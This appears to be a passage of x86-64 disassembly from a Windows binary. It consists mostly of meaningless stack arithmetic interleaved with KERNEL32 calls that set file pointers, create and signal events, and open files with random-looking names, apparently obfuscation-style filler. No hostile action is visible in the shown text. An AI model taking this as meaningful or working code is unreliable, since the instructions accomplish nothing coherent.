mov rcx, qword [rsp + 0x2cc0]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x1520]
mov byte [rcx], al
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0xd08]
mov qword [rsp + 0x4f08], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f08]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x2ba8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2bf8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x3444]
mov dword [rsp + 0x21e0], eax
mov rax, qword [rsp + 0x1898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
add eax, ecx
mov byte [rsp + 0xf9], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd134
mov rcx, qword [rsp + 0x4000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x33c0], eax
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x41e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4f10], rax
movsx eax, word [0x1400fc3b0]
mov rcx, qword [rsp + 0x3910]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15b4], ax
movzx eax, word [rsp + 0xc40]
movzx ecx, word [rsp + 0x31c]
add eax, ecx
mov word [0x1400fc5b8], ax
lea rax, [rsp + 0x1f08]
mov qword [rsp + 0x4100], rax
mov rcx, qword [rsp + 0x39d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26bc], eax
movzx eax, word [rsp + 0x5ec]
mov rcx, qword [rsp + 0x1258]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1ad0]
mov word [rcx], ax
movsx eax, word [rsp + 0x368]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x874], ax
lea rax, [rsp + 0x1c30]
mov qword [rsp + 0x57c0], rax
mov rax, qword [rsp + 0x29d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2bb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ff0], rax
mov rax, qword [rsp + 0x1788]
mov eax, dword [rax]
mov dword [rsp + 0x42a0], eax
mov rax, qword [rsp + 0x40f0]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3ec], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x2f38
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x273c], eax
mov rax, qword [rsp + 0x3ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40d8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x3200]
mov word [rcx], ax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [rsp + 0x4f18]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x1400fd570], rax
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov byte [rsp + 0x92b], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4f38], rax
mov rax, qword [rsp + 0xa38]
mov eax, dword [rax]
add eax, dword [rsp + 0x21c8]
mov dword [rsp + 0x8d0], eax
mov rax, qword [rsp + 0x1488]
movsx eax, word [rax]
mov rcx, qword [0x1400fd278]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbec], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10a9
mov rcx, qword [rsp + 0x4000]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3440], eax
movzx eax, word [rsp + 0x3a4]
mov rcx, qword [rsp + 0x1470]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x6f4], ax
mov rax, qword [rsp + 0x2d68]
mov rcx, qword [rsp + 0x3988]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1018]
mov qword [rcx], rax
mov rax, qword [0x1400fd818]
movzx eax, byte [rax]
mov byte [rsp + 0xde1], al
mov rcx, qword [rsp + 0x4008]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xfaca
mov rcx, qword [rsp + 0x1310]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x429c], eax
mov rax, qword [rsp + 0x2c20]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x38c0]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x4010]
mov dword [rcx], eax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x4ff8], rax
lea rax, [rsp + 0xc3c]
mov qword [0x1400fd920], rax
mov rax, qword [rsp + 0x3ae0]
mov rcx, qword [0x1400fd328]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x32c0]
mov qword [rcx], rax
lea rax, [rsp + 0x1a28]
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0xfa8]
mov rcx, qword [rsp + 0x4018]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xf58]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfe8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x454]
sub eax, ecx
mov rcx, qword [rsp + 0x30b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x8e0]
mov rcx, qword [rsp + 0x3090]
mov qword [rsp + 0x4f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2774], eax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x17d8]
shl rax, cl
mov qword [rsp + 0x3218], rax
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x2d58], rax
mov rax, qword [rsp + 0x1c28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbc4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3c40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4020]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x130]
or eax, ecx
mov rcx, qword [rsp + 0x31d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x1798]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd478], ax
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x52a0], rax
mov rax, qword [0x1400fd160]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x220]
add eax, ecx
mov word [rsp + 0x6f0], ax
mov rax, qword [rsp + 0x4f28]
mov rax, qword [rax]
mov qword [rsp + 0x57d0], rax
movsx eax, byte [rsp + 0x16e]
mov rcx, qword [rsp + 0x2bd8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x171], al
mov rax, qword [rsp + 0x2540]
mov eax, dword [rax]
mov rcx, qword [0x1400fd358]
mov qword [rsp + 0x4f30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f30]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xd60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x30a0]
mov rax, qword [rax]
mov qword [rsp + 0x57d8], rax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5c8]
and eax, ecx
mov rcx, qword [rsp + 0x2a00]
mov word [rcx], ax
movzx eax, word [0x1400fd454]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2070], ax
lea rax, [rsp + 0x38c8]
mov qword [0x1400fd928], rax
movzx eax, word [rsp + 0x2074]
mov rcx, qword [0x1400fd2a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x29d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x19c0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1d20]
mov qword [rcx], rax
lea rax, [rsp + 0x4028]
mov qword [rsp + 0x53d8], rax
mov eax, dword [rsp + 0xbc0]
mov ecx, dword [rsp + 0x1aac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2138], eax
lea rax, [rsp + 0x407]
mov qword [rsp + 0x4210], rax
mov rcx, qword [rsp + 0x4f38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce4], eax
movzx eax, byte [rsp + 0x230]
mov rcx, qword [rsp + 0x358]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x25c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4030]
mov eax, dword [rax]
mov dword [rsp + 0x33c4], eax
mov rax, qword [0x1400fd380]
mov rcx, qword [rsp + 0x4038]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1c20], rax
movsx eax, word [rsp + 0xc04]
movsx ecx, word [rsp + 0xbec]
shl eax, cl
mov word [0x1400fd5e0], ax
movsx eax, word [rsp + 0x54]
movsx ecx, word [rsp + 0x6b0]
or eax, ecx
mov word [rsp + 0x3ac], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x895b
mov rcx, qword [rsp + 0x4f40]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13f0], eax
movzx eax, word [rsp + 0x15b8]
movzx ecx, word [rsp + 0x15bc]
xor eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x30a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
sar eax, cl
mov word [rsp + 0x318], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4fa8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4212
mov rcx, qword [rsp + 0x4040]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [rsp + 0x17f0]
movzx eax, byte [rax]
mov byte [rsp + 0xde5], al
mov rax, qword [rsp + 0x38d0]
mov eax, dword [rax]
add eax, dword [rsp + 0xbbc]
mov rcx, qword [rsp + 0x3280]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x4f48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4298], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb3f1
mov rcx, qword [rsp + 0x4f50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8ec], eax
mov rax, qword [rsp + 0x2d40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x39a0]
add rax, qword [rcx]
mov qword [rsp + 0x1890], rax
mov rax, qword [rsp + 0x1010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1458]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2078], ax
mov rcx, qword [rsp + 0x3348]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3cf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2fc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x26c], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xaac5
mov rcx, qword [rsp + 0x3bc0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4294], eax
mov rcx, qword [rsp + 0x4048]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0x7d5b
mov rcx, qword [rsp + 0x2470]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c8], eax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3960]
mov rcx, qword [rsp + 0x4050]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd258], rax
mov rax, qword [rsp + 0x2598]
mov qword [rsp + 0x57e0], rax
mov rax, qword [rsp + 0x3a18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb48]
add rax, qword [rcx]
mov qword [rsp + 0x4f58], rax
mov rax, qword [rsp + 0x4058]
mov rcx, qword [rsp + 0x38d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x30b0], rax
movzx eax, word [rsp + 0x148]
mov word [rsp + 0x15fc], ax
mov rax, qword [rsp + 0x4f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa04]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x26c0], eax
lea rax, [rsp + 0x51]
mov qword [rsp + 0x57e8], rax
movsx eax, byte [rsp + 0x233]
mov rcx, qword [rsp + 0x1b40]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4060]
mov byte [rcx], al
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8e8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1ba0]
mov dword [rcx], eax
lea rax, [rsp + 0x29e0]
mov qword [0x1400fd930], rax
movsx eax, word [rsp + 0x8a4]
mov rcx, qword [rsp + 0x12d0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x207c], ax
movsx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x1c10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2080], ax
mov rax, qword [rsp + 0x3188]
movzx eax, word [rax]
mov word [rsp + 0x15dc], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.KJZm6XJdpDtF2MY
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x57f0], rax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4100]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x2a58]
mov qword [rcx], rax
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0x57f8], rax
mov rcx, qword [rsp + 0x4068]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1078]
mov rcx, qword [rsp + 0x1888]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x29e8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x85ca
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26c4], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x530]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x3f1], al
movsx eax, word [0x1400fc47c]
mov rcx, qword [rsp + 0x7e0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2084], ax
movzx eax, word [rsp + 0x2088]
mov word [0x1400fd938], ax
mov rax, qword [rsp + 0x1a08]
movzx ecx, al
mov rax, qword [rsp + 0x38f0]
sar rax, cl
mov qword [rsp + 0x39e8], rax
mov rax, qword [rsp + 0x1850]
movzx eax, word [rax]
mov word [rsp + 0x1eac], ax
mov rcx, qword [rsp + 0x2478]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x139c]
mov ecx, dword [rsp + 0x213c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x26e4], eax
movzx eax, byte [rsp + 0x10a]
mov rcx, qword [rsp + 0x2480]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x229], al
mov rax, qword [0x1400fd718]
mov qword [rsp + 0x52e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.eWcGBB3WuHKDTYnYz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5800], rax
mov rax, qword [rsp + 0x968]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4078]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x920], al
mov eax, dword [rsp + 0x2140]
mov ecx, dword [rsp + 0x634]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f4], eax
movsx eax, word [0x1400fc4d4]
mov rcx, qword [rsp + 0x1f30]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc34], ax
mov rcx, qword [rsp + 0x1ec8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13ec], eax
mov rax, qword [rsp + 0x29f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2488]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1400fc434], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc355
mov rcx, qword [rsp + 0x2d80]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4290], eax
mov rax, qword [0x1400fd928]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ed0]
mov qword [rsp + 0x4f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f68]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x950], rax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov qword [rsp + 0x5808], rax
mov rax, qword [rsp + 0x4070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1458]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x30b8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x29f8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1aa8], eax
mov rax, qword [0x1400fd470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8a8]
add eax, ecx
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0x1008]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1508]
add eax, dword [rcx]
mov rcx, qword [rsp + 0x2678]
mov dword [rcx], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2b4f
mov rcx, qword [rsp + 0x1868]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x30c0]
mov rax, qword [rax]
mov qword [rsp + 0x41f0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x5810], rax
movsx eax, byte [0x1400fd134]
mov rcx, qword [rsp + 0x2490]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x30c8]
mov rcx, qword [rsp + 0x3bc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x30e8], rax
movsx eax, word [rsp + 0x6a0]
mov rcx, qword [rsp + 0x2498]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc528], ax
movzx eax, word [rsp + 0x208c]
mov word [rsp + 0x35ac], ax
mov rax, qword [rsp + 0x2b80]
mov ecx, dword [rsp + 0x26fc]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x2148], eax
lea rax, [rsp + 0x2d6]
mov qword [rsp + 0x5230], rax
mov rax, qword [rsp + 0x1000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb38]
add rax, qword [rcx]
mov qword [rsp + 0x2ab0], rax
mov eax, dword [rsp + 0x670]
mov ecx, dword [rsp + 0xbb4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19e8]
mov dword [rcx], eax
mov rax, qword [0x1400fd800]
mov rcx, qword [rsp + 0xa80]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4f70], rax
movsx eax, byte [rsp + 0x11f]
mov rcx, qword [rsp + 0x4078]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x170], al
mov rax, qword [rsp + 0x38e0]
movzx eax, word [rax]
mov word [rsp + 0x35a8], ax
mov rax, qword [0x1400fd8f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x40e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc5bc], ax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x1f08]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x1460]
mov qword [rcx], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x36d7
mov rcx, qword [rsp + 0x38e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x478], eax
movzx eax, word [rsp + 0x388]
movzx ecx, word [rsp + 0xc30]
sar eax, cl
mov rcx, qword [rsp + 0xd68]
mov word [rcx], ax
mov rcx, qword [rsp + 0x4f78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x26c8], eax
mov rax, qword [rsp + 0x2a00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6ec]
add eax, ecx
mov word [rsp + 0xf0c], ax
mov rax, qword [rsp + 0x1880]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1bb0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a08], rax
lea rax, [0x1400fc4e8]
mov qword [rsp + 0x52f0], rax
mov rax, qword [rsp + 0x3958]
mov rcx, qword [rsp + 0x1ae0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4080], rax
mov rax, qword [rsp + 0x2d98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x24a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x585], al
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x35a4], ax
mov rax, qword [rsp + 0x2b00]
mov rax, qword [rax]
add rax, qword [rsp + 0x2d50]
mov rcx, qword [0x1400fd2f8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xf8]
mov rcx, qword [rsp + 0x30d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x58], al
lea rax, [rsp + 0x214c]
mov qword [rsp + 0x5280], rax
movsx eax, word [rsp + 0xee8]
mov rcx, qword [rsp + 0x30d8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x24a8]
mov word [rcx], ax
lea rax, [rsp + 0x2c4]
mov qword [rsp + 0x5328], rax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
and eax, ecx
mov byte [rsp + 0x239], al
mov rax, qword [rsp + 0x24b0]
mov rcx, qword [rsp + 0x17e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x13a0], eax
mov rax, qword [0x1400fd4a0]
mov rcx, qword [rsp + 0x1220]
mov qword [rsp + 0x4f80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3c98], rax
movsx eax, word [rsp + 0x15c0]
movsx ecx, word [rsp + 0xeb4]
xor eax, ecx
mov word [rsp + 0x390], ax
lea rax, [rsp + 0xc2c]
mov qword [0x1400fd940], rax
mov rax, qword [0x1400fd540]
mov qword [rsp + 0x5818], rax
mov rax, qword [rsp + 0x1f08]
mov rcx, qword [rsp + 0x38f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f88], rax
mov rax, qword [rsp + 0x618]
mov rcx, qword [rsp + 0x790]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1f08], rax
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x5820], rax
mov rax, qword [rsp + 0x2250]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4088]
shr rax, cl
mov qword [rsp + 0x2a10], rax
mov eax, dword [rsp + 0x2704]
mov dword [rsp + 0x219c], eax
movsx eax, byte [rsp + 0x922]
mov rcx, qword [rsp + 0x2bf0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x24b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1c08]
add eax, dword [rcx]
mov dword [rsp + 0x10f0], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.h4r8hkPsR3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5190], rax
mov rax, qword [rsp + 0x4f90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe3d], al
lea rax, [rsp + 0xebc]
mov qword [0x1400fd948], rax
movzx eax, word [rsp + 0x15c4]
mov rcx, qword [rsp + 0x3250]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x878], ax
movzx eax, word [rsp + 0x890]
mov word [rsp + 0x1dec], ax
mov rax, qword [rsp + 0x38f8]
mov rcx, qword [rsp + 0x17e8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x3cb0]
mov qword [rcx], rax
lea rax, [rsp + 0x2a28]
mov qword [rsp + 0x3308], rax
mov eax, dword [rsp + 0x219c]
mov rcx, qword [rsp + 0x4098]
mov qword [rsp + 0x4f98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4f98]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xdfc], eax
mov rax, qword [rsp + 0x3c28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x407]
xor eax, ecx
mov rcx, qword [rsp + 0x538]
mov byte [rcx], al
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3ac0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf20], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x2d76
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x343c], eax
movzx eax, word [rsp + 0x244]
movzx ecx, word [0x1400fc3b4]
shl eax, cl
mov word [rsp + 0xc20], ax
mov rax, qword [rsp + 0x2a18]
mov rax, qword [rax]
add rax, qword [rsp + 0x1540]
mov qword [0x1400fd2d8], rax
mov rcx, qword [rsp + 0x3900]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x428c], eax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
mov word [rsp + 0x35a0], ax
mov rax, qword [rsp + 0x2c00]
mov rcx, qword [0x1400fd348]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ab0], rax
mov rax, qword [rsp + 0x1138]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1790], rax
movzx eax, byte [rsp + 0xfc]
mov byte [rsp + 0x1d50], al
mov rax, qword [0x1400fc3d8]
mov rcx, qword [rsp + 0x40a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1878], rax
mov rax, qword [rsp + 0x14d8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x1a84]
mov dword [rsp + 0x3438], eax
mov rax, qword [rsp + 0x3b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x229]
sar eax, cl
mov rcx, qword [rsp + 0x24f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19d8]
mov ecx, dword [rsp + 0x1a68]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2150], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4863
mov rcx, qword [rsp + 0x40a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1aa0], eax
lea rax, [rsp + 0x1634]
mov qword [0x1400fd950], rax
movzx eax, word [rsp + 0x87c]
mov word [rsp + 0x359c], ax
mov rcx, qword [rsp + 0x4fa8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4288], eax
mov rax, qword [0x1400fd838]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov rcx, qword [rsp + 0xd88]
mov word [rcx], ax
lea rax, [rsp + 0x6e8]
mov qword [rsp + 0x4208], rax
mov rax, qword [rsp + 0x1870]
mov rcx, qword [rsp + 0x3908]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x31d0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x67b5
mov rcx, qword [rsp + 0x40b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa40], eax
mov eax, dword [rsp + 0x2194]
mov ecx, dword [rsp + 0x26cc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1860]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2d58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1478]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x921], al
movsx eax, word [rsp + 0xbf8]
mov rcx, qword [0x1400fd1d0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8a4], ax
mov rax, qword [rsp + 0x1358]
movzx eax, word [rax]
mov word [rsp + 0xedc], ax
mov rcx, qword [rsp + 0x2a20]
